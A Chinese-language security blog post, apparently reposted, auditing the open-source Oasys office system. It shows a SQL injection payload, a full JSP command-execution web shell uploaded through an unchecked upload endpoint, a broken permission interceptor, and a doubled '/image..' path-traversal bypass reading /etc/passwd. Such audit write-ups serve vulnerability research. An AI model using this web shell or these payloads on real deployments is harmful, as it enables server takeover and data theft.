Oasys 系统审计
2023-3-9 19:12:18 Author: 轩公子谈技术(查看原文) 阅读量:15 收藏

目录

    环境搭建

    sql注入

    fastjson

    任意文件上传

    垂直越权

    任意文件读取

    存储xss

github下载oasys,安装数据库,修改密码,配置maven,idea启动

查看pom.xml文件,发现危险组建,fastjson,fileupload,猜测可能存在反序列化,文件上传漏洞。

sql注入

//进行逻辑判断,来根据那个排序,类型、状态、修改时间  传递了basekey参数              List<Map<String,Object>>sortMyNotice(@Param("userId")Long userId,@Param("baseKey")String baseKey,@Param("type")Integer type,@Param("status")Integer status,@Param("time")Integer time);

Ctrl + 单击 查找调用关系

也可以使用find usages

这里比较直接,一步跳转到控制器,这里大致分析下代码

uri映射路径是informlistpaging@RequestParam是通过web参数进行传递这里调用了setSomething,setSomething(baseKey, type, status, time, icon, model);跟进查看,只是进行判断不为空即可if(!StringUtils.isEmpty(baseKey)){                 model.addAttribute("baseKey", baseKey);              }然后就是将数据存储在列表里List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);

构造请求

通过右侧搜索,抓包获取到关键字,

get方式直接使用url方法,输入1有八条信息

查看xml层代码,发现有俩%%,加上%发现成功返回数据<if test="baseKey !=null">      and n.title LIKE '%${baseKey}%'    </if>

输入1%'or+1=1,显示22条,我记得模糊查询%%会自动省略吧

             

总共有两个mapper文件,另一个注入的也是basekey

大致流程和思路也是一样的

fastjson无漏洞

代码中总共调用了两处,且都是进行序列化。所以不会产生漏洞。

文件上传

原项目无法解析jsp添加以下依赖

<dependency>  <groupId>org.springframework.boot</groupId>  <artifactId>spring-boot-devtools</artifactId>  <optional>true</optional></dependency><dependency>  <groupId>org.apache.tomcat.embed</groupId>  <artifactId>tomcat-embed-jasper</artifactId>  <scope>1.2</scope></dependency><dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version>  <scope>provided</scope></dependency>

两种思路,关键字搜索file upload

二是找文件控制器

查看upload方法

获取文件后缀

文件命名为uuid.后缀

先存放tmp目录再到主目录

rootpath目录

attachment用来管理文件

可见 并没有对后缀进行判断

尝试上传下

%    java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();    int len = -1;    byte[] bytes = new byte[1024];    out.print("<pre>");    while ((len = input.read(bytes)) != -1) {        out.println(new String(bytes, "GBK"));    }    out.print("</pre>");%>

从目录查找发现image里没有文件 而在attachment目录下

垂直越权

逻辑漏洞这快,主要关注 拦截器/过滤器或用户控制器

这里看了用户控制器主要是判断用户登陆,验证码问题

主要关注拦截器

前面代码大致是判断获取session信息

两个列表获取用户信息,直接从数据库中查询

获取路径和菜单url是否相等,永远返回true

剩下的代码匹配ip,日志啥的,整体没有对用户的操作做限制。

admin查看系统模块,抓包替换为低权限的

在或者直接低权限 账号访问接口地址

任意文件读取

搜索filepath

找半天没找到接口地址

往下翻看到了**

刚好也存在rootpath

path哪里会把/image替换为空,可以试试双写饶过

正常任意文件读取              
../../../../../../etc/passwd              
             
绕过              
//image..//image..//image..//image..//image../etc/passwd

抓包测试

存储xss

首先先看过滤器,拦截器有没有对xss的关键字做黑名单,如果没有在审计

全局搜 RequestMapping 然后找参数,输入payload

或者见框就插


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247487763&idx=1&sn=2b5a951fbc705ea6b92ff9fdf3bf1ea2&chksm=fce9b6dccb9e3fca45c2891a87baf52ff743d825a29def363d43b24a59a6635c110cf186d70c#rd
如有侵权请联系:admin#unsafe.sh